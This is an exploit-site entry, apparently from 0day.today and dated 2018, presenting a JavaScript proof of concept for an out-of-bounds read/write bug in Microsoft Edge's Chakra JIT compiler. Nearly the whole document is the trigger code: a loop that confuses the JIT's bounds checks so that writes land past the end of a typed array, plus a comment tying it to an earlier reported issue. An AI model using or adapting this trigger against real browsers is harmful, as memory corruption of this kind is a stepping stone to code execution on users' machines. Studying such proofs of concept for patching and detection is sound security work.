Microsoft Edge Chakra JIT - Out-of-Bounds Reads/Writes Exploit

/*
It seems that this issue is similar to the  issue 1429  (MSRC 42111). It might need to refresh the page several times to observe a crash.
 
PoC:
*/
 
let arr = new Uint32Array(1000);
for (let i = 0; i < 0x1000000; i++) {
    for (let j = 0; j < 1; j++) {
        i--;
        i++;
    }
 
    arr[i] = 0x1234;
}

#  0day.today [2018-07-13]  #